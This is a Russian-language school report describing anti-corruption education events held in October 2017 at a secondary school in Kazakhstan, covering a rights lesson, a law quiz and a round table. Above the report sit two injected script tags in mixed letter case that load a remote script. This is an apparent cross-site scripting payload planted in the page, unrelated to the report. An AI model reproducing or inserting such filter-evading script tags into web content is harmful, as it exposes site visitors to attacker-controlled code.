<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

16.11.2017

Информация о реализации

Программы формирования антикоррупционной культуры в Валихановской средней школе

за октябрь 2017 года

 

Согласно модельного плана воспитательной работы по формированию антикоррупционной культуры  и плана школы, а также  с целью  формирования нетерпимого отношения к коррупции   в октябре месяце в школе были проведены мероприятия антикоррупционного характера.

Октябрь месяц прошел под названием «Казахстан- правовое государство». Среди учащихся начальных классов прошло внеклассное мероприятие на тему «Я знаю свои права». Ведущая мероприятия Черевко Н.И. рассказала о главных документах, которые защищают права детей. Ребята совершили путешествие по сказкам, указывая героев, у которых были нарушены права.  Ученики в игровой форме показали инсценировку судебного процесса. Строгие «судья», «прокуроры» и «адвокаты» заслушивали «показания» «свидетелей» и выносили строгий «приговор».

 Правовая викторина «Правда о правах» была проведена для учащихся 5-7 классов. Ведущая  Перегуда Е.Н. разделив учащихся по группам провела интересные и увлекательные конкурсы правового характера, такие как «Правовой конкурс», «Шуточные загадки», «Права и обязанности». Учащиеся соревновались в знании прав и законов, а также документов, которые защищают права ребенка.  Победителями стала группа 6 класса.

Для учащихся 8-11 классов Жанбаевой Г.Е. был  проведен круглый стол «Наш выбор – правовое государство». Цель круглого стола: охарактеризовать Казахстан как правовое государство, привитие навыков политической культуры, воспитание активной гражданской позиции.  Учащиеся  высказывали свои мнения по отношению к коррупции,  подбирали ассоциации к слову «гражданин», составляли словесный портрет гражданина, выделили права и обязанности человека и государства. Учащиеся 11 и 9 классов продемонстировали свое умение аргументировать и отстаивать свою позицию. В итоге учащиеся сделали вывод: люди сами виноваты в том, что коррупция процветает, но на сегодняшний день есть законы, которые

наказывают коррупционеров.

Результатом проведенной работы стало: ознакомление учащихся с понятиями право, правонарушение, коррупция и антикоррупция, учащиеся получили знания о том, куда и как нужно обращаться в том случае, если они столкнулись с коррупцией. Учащиеся на классных часах показали свое знание закона и пришли к выводу, что коррупция – это действительно угроза для общества и государства.